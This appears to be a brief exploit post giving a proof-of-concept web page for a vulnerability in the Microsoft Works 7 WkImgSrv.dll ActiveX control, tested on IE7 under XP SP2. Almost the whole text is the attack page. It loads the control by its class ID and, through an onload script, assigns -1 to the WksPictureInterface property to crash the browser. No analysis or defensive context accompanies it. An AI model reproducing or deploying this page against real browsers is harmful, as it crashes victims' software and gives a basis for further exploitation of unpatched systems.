DLL VERSION 7.03.0616.0 TEST ON IE7+XPSP2_CN MYBLOG:http://hi.baidu.com/nansec/ 0DAY? I don't know. POC: <html> <head> <title>Microsoft Works 7 WkImgSrv.dll crash POC</title> <script language="JavaScript"> function payload() { var num = -1; obj.WksPictureInterface = num; } </script> </head> <body onload="JavaScript: return payload();"> <object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj"> </object> </body> </html>